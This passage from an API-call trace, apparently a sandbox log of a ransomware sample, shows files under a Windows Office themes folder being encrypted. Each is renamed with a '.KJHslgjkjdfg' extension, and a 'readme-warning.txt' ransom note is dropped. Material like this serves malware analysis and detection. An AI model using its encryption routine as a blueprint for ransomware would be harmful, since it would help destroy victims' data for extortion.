dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.630] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.630] GetProcessHeap () returned 0x2a0000 [0147.630] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.630] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.630] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.630] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.630] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.630] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.631] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.631] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.631] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.631] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.631] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.631] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.631] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x24b, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x24b, lpOverlapped=0x0) returned 1 [0147.631] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x250, dwBufLen=0x250 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x250) returned 1 [0147.631] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.631] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x250, lpOverlapped=0x0) returned 1 [0147.632] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.632] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.632] SetEndOfFile (hFile=0x118) returned 1 [0147.634] GetProcessHeap () returned 0x2a0000 [0147.634] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.634] GetProcessHeap () returned 0x2a0000 [0147.634] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf.kjhslgjkjdfg")) returned 1 [0147.637] CloseHandle (hObject=0x118) returned 1 [0147.637] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.638] GetProcessHeap () returned 0x2a0000 [0147.638] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.638] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.638] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.638] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0147.640] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.640] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.640] GetProcessHeap () returned 0x2a0000 [0147.640] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.640] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.640] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.640] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.640] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.641] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.641] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.641] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.641] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.641] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.641] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.641] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.641] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4162, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x4162, lpOverlapped=0x0) returned 1 [0147.642] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4170, dwBufLen=0x4170 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4170) returned 1 [0147.642] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.642] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x4170, lpOverlapped=0x0) returned 1 [0147.642] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.642] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x4244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.643] SetEndOfFile (hFile=0x118) returned 1 [0147.645] GetProcessHeap () returned 0x2a0000 [0147.645] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.645] GetProcessHeap () returned 0x2a0000 [0147.645] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.645] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.646] CloseHandle (hObject=0x118) returned 1 [0147.652] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.652] GetProcessHeap () returned 0x2a0000 [0147.652] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.652] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.653] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.653] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.653] GetProcessHeap () returned 0x2a0000 [0147.653] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.653] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.653] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.653] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.653] GetProcessHeap () returned 0x2a0000 [0147.653] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.653] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.653] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.653] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.653] GetProcessHeap () returned 0x2a0000 [0147.653] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.653] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.653] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.653] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.653] GetProcessHeap () returned 0x2a0000 [0147.653] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.653] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.653] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.653] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.653] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.653] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.654] RegCloseKey (hKey=0x118) returned 0x0 [0147.654] GetProcessHeap () returned 0x2a0000 [0147.654] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.654] GetProcessHeap () returned 0x2a0000 [0147.654] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.654] GetProcessHeap () returned 0x2a0000 [0147.654] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.654] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.654] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.654] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.654] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.654] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.654] GetProcessHeap () returned 0x2a0000 [0147.654] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.654] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.654] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.654] GetProcessHeap () returned 0x2a0000 [0147.654] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.654] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\readme-warning.txt") returned 82 [0147.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.655] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.657] CloseHandle (hObject=0x118) returned 1 [0147.657] GetProcessHeap () returned 0x2a0000 [0147.657] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.658] GetProcessHeap () returned 0x2a0000 [0147.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.658] GetProcessHeap () returned 0x2a0000 [0147.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.658] GetProcessHeap () returned 0x2a0000 [0147.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.658] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.658] GetProcessHeap () returned 0x2a0000 [0147.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.658] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1 [0147.658] GetProcessHeap () returned 0x2a0000 [0147.658] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0147.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.658] GetProcessHeap () returned 0x2a0000 [0147.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.658] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.659] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.659] GetProcessHeap () returned 0x2a0000 [0147.659] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f32d0 [0147.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.659] GetProcessHeap () returned 0x2a0000 [0147.659] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.659] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.659] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.659] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0147.661] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.661] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.661] GetProcessHeap () returned 0x2a0000 [0147.661] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.661] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.661] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.661] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.661] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.661] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.661] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.662] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.662] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.662] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.662] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.662] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.662] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x59f, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x59f, lpOverlapped=0x0) returned 1 [0147.662] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x5a0, dwBufLen=0x5a0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x5a0) returned 1 [0147.662] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.662] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x5a0, lpOverlapped=0x0) returned 1 [0147.662] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.662] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.662] SetEndOfFile (hFile=0x118) returned 1 [0147.664] GetProcessHeap () returned 0x2a0000 [0147.664] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, 